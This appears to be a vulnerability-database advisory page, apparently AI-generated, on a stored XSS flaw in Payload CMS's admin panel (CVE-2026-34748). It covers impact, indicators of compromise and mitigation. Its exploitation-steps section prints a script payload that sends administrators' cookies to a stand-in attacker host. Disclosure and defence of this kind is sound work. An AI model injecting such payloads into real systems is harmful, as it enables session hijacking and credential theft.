CVE-2026-34748
JavaScript vulnerability analysis and mitigation

Overview

CVE-2026-34748 is a stored Cross-Site Scripting (XSS) vulnerability in the admin panel of Payload CMS (@payloadcms/next npm package). An authenticated user with write access to a versioned collection can inject malicious content that executes in the browser of any other user who views it, including administrators. The vulnerability affects all Payload versions prior to v3.78.0 where at least one collection has versioning enabled. It was published on March 30, 2026, and carries a CVSS v3.1 base score of 8.7 (High) (GitHub Advisory, Payload Advisory).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where user-supplied content saved to versioned collections was rendered without proper output encoding, allowing it to be interpreted as HTML/JavaScript markup by the browser. An attacker with low-privilege authenticated access (only create or update permissions on a versioned collection) can craft a payload containing malicious script tags or event handlers and persist it in the CMS. The vulnerability is triggered when another user — including higher-privileged administrators — views the affected content in the admin panel, causing the injected script to execute in their browser context. The fix in v3.78.0 introduced output encoding to neutralize user-supplied content before rendering (GitHub Advisory, Payload Advisory).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user who views the poisoned content, including administrators. This can result in session hijacking, credential theft, unauthorized actions performed on behalf of the victim (such as creating admin accounts or modifying CMS content), and broader compromise of the CMS admin environment. Confidentiality and integrity impacts are rated High, while availability is unaffected (GitHub Advisory).

Exploitability

There is no public proof-of-concept exploit and no confirmed in-the-wild exploitation as of the time of reporting (GitHub Advisory). The EPSS score is approximately 0.032% (0.000320), placing it in a low percentile for near-term exploitation likelihood. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated attacker with at least create or update access to a versioned collection, and also requires a victim user to view the malicious content, making opportunistic mass exploitation less likely.

Exploitation steps

  1. Gain authenticated access: Obtain or compromise an account with create or update permissions on at least one versioned collection in the target Payload CMS instance (version < 3.78.0).
  2. Identify a versioned collection: Navigate the admin panel to locate collections with versioning enabled, as the XSS vector is specific to versioned content rendering.
  3. Inject malicious payload: In a text or rich-content field of the versioned collection, insert a JavaScript payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant, then save or submit the record.
  4. Wait for victim interaction: The injected content is stored server-side. When another authenticated user (e.g., an administrator) opens or previews the affected record in the admin panel, the script executes in their browser session.
  5. Harvest results: The attacker receives stolen session tokens, credentials, or other sensitive data at their controlled endpoint, enabling session hijacking or further privilege escalation within the CMS (GitHub Advisory, Payload Advisory).

Indicators of compromise

  • Logs: Admin panel access logs showing a low-privilege user creating or updating records in versioned collections, followed shortly by higher-privilege user access to the same records; unexpected outbound HTTP requests originating from admin browser sessions to external domains.
  • Network: Outbound requests from admin users' browsers to unfamiliar external hosts (e.g., attacker-controlled cookie-harvesting endpoints) immediately after viewing CMS content.
  • Application Data: Collection records containing unexpected <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded script content in text/rich-content fields within versioned collections.
  • Session Activity: Unusual admin account activity (e.g., new user creation, permission changes, content modifications) occurring from IP addresses or user agents inconsistent with the legitimate admin's normal behavior, potentially indicating session hijacking.

Mitigation and workarounds

Upgrade the @payloadcms/next package to v3.78.0 or later, which introduces output encoding to prevent user-supplied content from being interpreted as markup (GitHub Advisory, Payload Advisory). For organizations unable to upgrade immediately, restrict create and update access to versioned collections to trusted roles only, reducing the attack surface by preventing untrusted authenticated users from injecting malicious content. Implementing a strict Content Security Policy (CSP) on the admin panel can also serve as a defense-in-depth measure to limit the impact of any XSS execution.

Community reactions

The vulnerability received coverage from The Hacker Wire and was tracked by several vulnerability aggregation platforms including CVEFeed, VulDB, and INCIBE-CERT shortly after disclosure (The Hacker Wire). Community discussion was noted on Bluesky via automated CVE tracking accounts. No major vendor statements beyond the official Payload CMS advisory or notable independent researcher commentary have been identified.

Additional resources


SourceThis report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-59160HIGH8.8
  • JavaScript logoJavaScript
  • @yeger/turbo-graph
NoYesSep 09, 2026
CVE-2026-59179HIGH8.3
  • JavaScript logoJavaScript
  • @openhop/server
NoYesSep 09, 2026
GHSA-x7m8-jrm8-hpvxHIGH8.1
  • JavaScript logoJavaScript
  • @eigenpal/docx-editor-core
NoYesSep 10, 2026
CVE-2026-59176HIGH7.8
  • JavaScript logoJavaScript
  • functype-mcp-server
NoYesSep 09, 2026
CVE-2026-59158HIGH7.5
  • JavaScript logoJavaScript
  • nuxt-ollama
NoYesSep 09, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management